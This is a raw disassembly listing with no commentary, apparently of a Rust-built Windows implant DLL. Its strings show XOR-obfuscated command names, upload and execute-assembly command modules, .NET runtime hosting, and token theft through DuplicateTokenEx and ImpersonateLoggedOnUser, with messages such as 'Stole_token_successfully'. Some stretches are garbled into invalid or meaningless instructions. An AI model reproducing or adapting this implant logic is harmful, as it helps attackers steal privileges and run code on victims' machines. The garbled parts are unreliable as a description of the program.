xor r8d, dword [rax + rcx + 0x27f9]
mov dword [rsp + rcx + 0x1f0], r8d
mov ecx, 4
xor r8d, r8d
jmp 0x10008470
movzx eax, word [rax + 0x27fd]
xor eax, 0xe8a7
lea rsi, [rsp + 0x1f0]
mov ecx, dword [rsi]
mov dword [rsi], ecx
mov word [rsi + 4], ax
mov r9d, 6
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.10001710
test al, al
je 0x1000866f
mov rdi, qword [rsp + 0x108]
mov rbx, qword [rsp + 0x110]
lea r9, str.srccommandsupload.rs
mov rcx, rdi
mov rdx, rbx
xor r8d, r8d
call fcn.10003fb5
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea rcx, [rsp + 0x1f0]
and dword [rcx], 0
xorps xmm0, xmm0
movups xmmword [rcx + 8], xmm0
mov dword [rcx + 0x18], 7
and qword [rcx + 0x1c], 0
and word [rcx + 0x24], 0
mov al, 1
mov byte [rcx + 0x21], al
mov byte [rcx + 0x24], al
mov byte [rcx + 0x23], al
call fcn.1005a350
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rdx
test rax, rax
je 0x10008a1d
lea rdx, [0x100689b4]
lea rcx, [rsp + 0x1f0]
mov r8d, 0x18
call fcn.10001edd
lea rcx, [rsp + 0x120]
call fcn.100015b6
jmp 0x100097cf
mov ebp, dword [rsp + 0xe0]
mov r15d, dword [rsp + 0xe4]
lea rcx, [rsp + 0xa0]
mov edx, 1
xor r8d, r8d
call fcn.10001edd
mov rcx, qword [rsp + 0x1a8]
mov rdx, qword [rsp + 0x1b0]
call fcn.10022dc0
jmp 0x10008771
lea rax, [0x1005df34]
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1f0]
and qword [rsp + 0x1f0], 0
mov r9b, 1
xor ecx, ecx
lea rdx, [0x10068e98]
movabs r8, 0xdd4411f82b0d4f00
test r9b, 1
je 0x100086cd
movzx r9d, byte [rcx + rdx]
or r9, r8
xor r9, qword [rax + rcx + 0xb15a]
mov qword [rsp + rcx + 0x1f0], r9
mov ecx, 8
xor r9d, r9d
jmp 0x100086a5
mov al, byte [rax + 0xb162]
xor al, 0xe5
mov rcx, qword [rsp + 0x1f0]
lea r8, [rsp + 0xa0]
mov qword [r8], rcx
mov byte [r8 + 8], al
mov r9d, 9
mov rcx, rdi
mov rdx, rbx
call fcn.10001710
test al, al
je 0x10008829
call sub.ADVAPI32.dll_RevertToSelf
test eax, eax
je 0x10008d3f
lea rdx, [0x10068af9]
lea rcx, [rsp + 0x1f0]
mov r8d, 0x11
jmp 0x10008d54
call sub.KERNEL32.dll_GetLastError
mov rcx, qword [rsp + 0x170]
mov rdx, qword [rsp + 0x178]
call fcn.10022dc0
mov rcx, r12
mov rdx, r15
call fcn.1005fe6e
movups xmm0, xmmword [rsp + 0x1a8]
movaps xmmword [rsp + 0xa0], xmm0
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0xb0], rax
lea rsi, [rsp + 0x1f0]
lea rdx, [rsp + 0xa0]
jmp 0x10008d69
lea rax, [0x100663b2]
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1f0]
and qword [rsp + 0x1f0], 0
mov r9b, 1
xor ecx, ecx
lea rdx, [0x10068ea1]
movabs r8, 0x23db68dfcc45f600
test r9b, 1
je 0x10008887
movzx r9d, byte [rcx + rdx]
or r9, r8
xor r9, qword [rax + rcx + 0x2ce5]
mov qword [rsp + rcx + 0x1f0], r9
mov ecx, 8
xor r9d, r9d
jmp 0x1000885f
mov al, byte [rax + 0x2ced]
xor al, 0x5f
mov rcx, qword [rsp + 0x1f0]
lea r8, [rsp + 0xa0]
mov qword [r8], rcx
mov byte [r8 + 8], al
mov r9d, 9
mov rcx, rdi
mov rdx, rbx
call fcn.10001710
test al, al
je 0x10008b5f
mov rsi, qword [rsp + 0x100]
mov rdi, qword [rsp + 0x108]
mov r14, qword [rsp + 0x110]
lea r9, [0x100689f0]
mov rcx, rdi
mov rdx, r14
xor r8d, r8d
call fcn.10003fb5
mov rcx, qword [rax]
mov rax, qword [rax + 8]
add rax, rcx
lea r15, [rsp + 0x1f0]
mov qword [r15], rcx
mov qword [r15 + 8], rax
and word [r15 + 0x10], 0
lea rbx, [rsp + 0x60]
mov rcx, rbx
mov rdx, r15
call fcn.10001e1b
lea r9, [0x10068a08]
mov r8d, 1
mov rcx, rdi
mov rdx, r14
call fcn.10003fb5
mov rcx, qword [rax]
mov rax, qword [rax + 8]
add rax, rcx
mov qword [r15], rcx
mov qword [r15 + 8], rax
and word [r15 + 0x10], 0
lea r15, [rsp + 0x120]
lea r12, [rsp + 0x1f0]
mov rcx, r15
mov rdx, r12
call fcn.10001e1b
lea r9, [0x10068a20]
mov r8d, 2
mov rcx, rdi
mov rdx, r14
call fcn.10003fb5
mov rcx, qword [rax]
mov rax, qword [rax + 8]
add rax, rcx
mov qword [r12], rcx
mov qword [r12 + 8], rax
and word [r12 + 0x10], 0
lea r12, [rsp + 0xa0]
lea rdx, [rsp + 0x1f0]
mov rcx, r12
call fcn.10001e1b
lea rax, [rsp + 0x170]
and qword [rax], 0
mov r14, qword [r15 + 8]
mov rbx, qword [rbx + 8]
mov r15, qword [r12 + 8]
mov qword [rsp + 0x28], rax
mov rsi, rdx
lea r9, str.srccommandsupload.rs
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call fcn.10003fb5
mov rdx, qword [rax]
mov edx, dword [rax]
lea rax, [0x1005ca3a]
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1f0]
and qword [rsp + 0x1f0], 0
mov r9b, 1
xor ecx, ecx
lea rdx, [0x10068eaa]
movabs r8, 0xacb6a7a1317fd200
test r9b, 1
je 0x10008bbd
movzx r9d, byte [rcx + rdx]
or r9, r8
xor r9, qword [rax + rcx + 0xc666]
mov qword [rsp + rcx + 0x1f0], r9
mov ecx, 8
xor r9d, r9d
jmp 0x10008b95
movzx eax, word [rax + 0xc66e]
xor eax, 0xcb80
mov rcx, qword [rsp + 0x1f0]
lea r14, [rsp + 0xa0]
mov qword [r14], rcx
mov word [r14 + 8], ax
mov r9d, 0xa
mov rcx, rdi
mov rdx, rbx
mov r8, r14
call fcn.10001710
test al, al
je 0x1000931c
mov rdi, qword [rsp + 0x100]
mov r15, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x110]
lea r9, [0x10068a78]
mov rcx, r15
xor r8d, r8d
call fcn.10003fb5
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call fcn.1002db50
mov rbx, rax
test bl, 1
jne 0x10009d66
shr rbx, 0x20
xor ecx, ecx
call sub.ole32.dll_CoInitialize
and qword [rsp + 0x1f0], 0
mov qword [rsp + 0x20], r14
lea rcx, [0x10068720]
lea r9, [0x10068730]
xor edx, edx
mov r8d, 4
call sub.ole32.dll_CoCreateInstance
mov r12, qword [rsp + 0xa0]
call sub.KERNEL32.dll_GetCurrentProcessId
mov r10, qword [r12]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], eax
mov rcx, r12
mov edx, 0x400
xor r8d, r8d
mov r9d, ebx
call qword [r10 + 0x30]
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
call sub.ole32.dll_CoUninitialize
mov rsi, qword [rsp + 0x1f0]
lea r8, [rsp + 0x120]
and qword [r8], 0
mov rcx, rsi
mov edx, 0xe
call sub.ADVAPI32.dll_OpenProcessToken
test eax, eax
je 0x1000988b
and qword [rsp + 0xa0], 0
mov rcx, qword [rsp + 0x120]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 1
mov edx, 0xf01ff
xor r8d, r8d
mov r9d, 2
call sub.ADVAPI32.dll_DuplicateTokenEx
test eax, eax
je 0x100098ad
mov rcx, qword [rsp + 0xa0]
call sub.ADVAPI32.dll_ImpersonateLoggedOnUser
test eax, eax
je 0x10009982
lea rdx, [0x10068acc]
lea rcx, [rsp + 0x1f0]
mov r8d, 0x18
jmp 0x10009997
lea rdx, [0x10068ae4]
lea rcx, [rsp + 0x1f0]
mov r8d, 0x15
call fcn.10001edd
lea rsi, [rsp + 0xa0]
lea rdx, [rsp + 0x1f0]
mov rcx, rsi
call fcn.1000252b
mov rdi, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x1c0]
mov rdx, rdi
call fcn.100219ec
mov rcx, qword [rsi]
mov rdx, rdi
call fcn.10022dc0
mov bpl, 1
lea rax, [0x100625a8]
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1f0]
and dword [rsp + 0x1f8], 0
and qword [rsp + 0x1f0], 0
mov r9b, 1
xor edx, edx
lea rcx, [0x10068eb4]
movabs r8, 0x9fefbad94350ea00
test r9b, 1
je 0x10009382
movzx r9d, byte [rdx + rcx]
or r9, r8
xor r9, qword [rax + rdx + 0x6b02]
mov qword [rsp + rdx + 0x1f0], r9
mov edx, 8
xor r9d, r9d
jmp 0x1000935a
xor edx, edx
lea r8, [rdx + 8]
cmp r8, 0xb
ja 0x100093be
movzx r8d, byte [rdx + rcx + 0xa]
shl r8d, 0x10
movzx r9d, word [rdx + rcx + 8]
add r8d, r9d
add r8d, 0x7e000000
xor r8d, dword [rax + rdx + 0x6b0a]
mov dword [rsp + rdx + 0x1f8], r8d
add rdx, 4
jmp 0x10009384
mov al, byte [rax + 0x6b0e]
xor al, 0xbd
mov byte [rsp + 0x1fc], al
mov rax, qword [rsp + 0x1f0]
lea rsi, [rsp + 0xa0]
mov qword [rsi], rax
mov rax, qword [rsp + 0x1f5]
mov qword [rsi + 5], rax
mov r9d, 0xd
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.10001710
mov bpl, 1
test al, al
je 0x10008d97
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x198], rax
mov rcx, qword [rsp + 0x108]
mov rdi, qword [rsp + 0x110]
lea r9, [0x10068b28]
mov qword [rsp + 0x58], rcx
mov rdx, rdi
xor r8d, r8d
call fcn.10003fb5
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea r15, [rsp + 0x1f0]
mov rcx, r15
call fcn.10002567
mov rcx, qword [r15]
movabs rax, 0x8000000000000000
mov qword [rsp + 0x98], rcx
cmp rcx, rax
je 0x10009d94
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x1d8], rax
mov ecx, 0x18
call fcn.1000216f
test rax, rax
je 0x10009db4
mov r13, rax
lea r9, [0x10068b58]
mov r8d, 1
mov rcx, qword [rsp + 0x58]
mov rdx, rdi
call fcn.10003fb5
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea rdi, [rsp + 0x1f0]
mov rcx, rdi
call fcn.10001edd
mov rax, qword [rdi + 0x10]
mov qword [r13 + 0x10], rax
movups xmm0, xmmword [rdi]
movups xmmword [r13], xmm0
lea rax, str.mscoree.dllCreateInterfacemscorlibSystem.Consoleget_OutSetOutget_ErrorSetErrorSystem.IO.StringWriterToStringOutput_context_has_not_been_initialized
lea r12, [rsp + 0x4c8]
mov qword [r12], rax
mov qword [r12 + 8], 0xb
lea rax, [0x1006c58b]
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x1b0], 0xf
mov qword [rsp + 0xa0], r12
lea r14, [0x1006c618]
mov qword [rdi], r14
mov qword [rdi + 8], 2
and qword [rdi + 0x20], 0
lea r15, [0x100219da]
mov qword [rsp + 0xa8], r15
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], 1
lea rdi, [rsp + 0x120]
lea rdx, [rsp + 0x1f0]
mov rcx, rdi
call fcn.10026ad9
mov rdi, qword [rdi + 8]
mov rcx, rdi
call sub.KERNEL32.dll_LoadLibraryA
test rax, rax
je 0x100098dc
mov rbp, rax
lea rbx, [rsp + 0x120]
mov rcx, qword [rbx]
mov rdx, rdi
call fcn.10026293
lea rax, [rsp + 0x1a8]
lea rdx, [rsp + 0x1f0]
mov qword [rdx], r14
mov qword [rdx + 8], 2
and qword [rdx + 0x20], 0
mov r14, rax
mov qword [rsp + 0xa0], rax
and al, 0xa0
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], cl
and al, 0xa8
add byte [rax], al
add byte [rax - 0x77], cl
jb 0x100095e9
mov ebp, dword [rsp + 0x230]
mov r15d, dword [rsp + 0x234]
bt ebp, 0xa
jae 0x1000963d
mov eax, r15d
and eax, 0x20000000
add byte [rax], al
and byte [rdi], cl
test esi, ebx
in eax, dx
invalid
invalid
mov r12, qword [rsp + 0x1f8]
movups xmm0, xmmword [rsp + 0x200]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rsp + 0x210]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rsp + 0x220]
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x80], eax
mov rcx, rsi
call fcn.100613fc
lea rdx, str.Failed_to_open_tokenFailed_to_dup_itStole_token_successfullyFailed_to_rev_to_selfRevToself_Successsrccommandsexec_ass.rs
lea rcx, [rsp + 0x1f0]
mov r8d, 0x14
jmp 0x10009997
mov rcx, qword [rsp + 0x120]
call fcn.100613fc
mov rcx, rsi
call fcn.100613fc
lea rdx, [0x10068abc]
lea rcx, [rsp + 0x1f0]
mov r8d, 0x10
jmp 0x10009997
call sub.KERNEL32.dll_GetLastError
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmove ecx, eax
lea rbx, [rsp + 0x170]
and qword [rbx], 0
mov dword [rbx + 8], ecx
mov qword [rsp + 0xa0], r12
mov qword [rsp + 0xa8], r15
mov qword [rsp + 0xb0], rbx
lea rax, str.Error_while_loading___:
lea rdx, [rsp + 0x1f0]
mov qword [rdx], rax
mov eax, 2
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [0x10060fde]
mov qword [rsp + 0xb8], rcx
mov qword [rdx + 0x10], rsi
mov qword [rdx + 0x18], rax
lea rcx, [rsp + 0x60]
call fcn.10026ad9
mov rcx, qword [rbx]
test rcx, rcx
je 0x100099fc
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x100099fc
lea rdx, [0x10068a4c]
lea rcx, [rsp + 0x1f0]
mov r8d, 0x15
call fcn.10001edd
mov rcx, rdi
mov rdx, r15
jmp 0x10009826
lea r8, str.library_std_src_syspalwindowsos.rs
mov ecx, 1
xor edx, edx
call fcn.10029110
lea rax, str.library_std_src_syspalwindowsos.rs
mov rcx, r8
mov rdx, r15
mov r8, rax
call fcn.10029a50
lea r8, str.library_std_src_syspalwindowsos.rs
mov rcx, rbp
mov rdx, r15
call fcn.10029110
jmp 0x10009d16
mov rax, qword [rsp + 0xc0]
lea r8, [rsp + 0x1f0]
mov qword [r8 + 0x20], rax
movups xmm0, xmmword [rsp + 0xa0]
movups xmm1, xmmword [rsp + 0xb0]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x10067fc0]
jmp 0x10009c46
movups xmm0, xmmword [rsp + 0x1f8]
lea r8, [rsp + 0xa0]
movaps xmmword [r8], xmm0
lea rax, str.srclib.rs
mov rdx, qword [rsp + 0xb0]
call fcn.1000daf0
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x120], rax
lea rax, [rsp + 0x120]
mov qword [rsp + 0xa0], rax
lea rax, str.failure_getting_env_string_from_OS:
lea rcx, [rsp + 0x1f0]
mov qword [rcx], rax
mov eax, 1
mov qword [rcx + 8], rax
and qword [rcx + 0x20], 0
lea rdx, [0x100594f0]
mov qword [rsp + 0xa8], rdx
lea rdx, [rsp + 0xa0]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
lea rdx, str.library_std_src_syspalwindowsos.rs
call fcn.100290d0
xor ecx, ecx
call fcn.1005bbc0
mov byte [rsp + 0x1f0], bh
lea rax, [0x10068a90]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x10068060]
lea r8, [rsp + 0x1f0]
jmp 0x10009c46
movups xmm0, xmmword [rsp + 0x1f8]
lea r8, [rsp + 0xa0]
movaps xmmword [r8], xmm0
lea rax, [0x10068b40]
jmp 0x10009c33
mov ecx, 8
mov edx, 0x18
call fcn.1000db50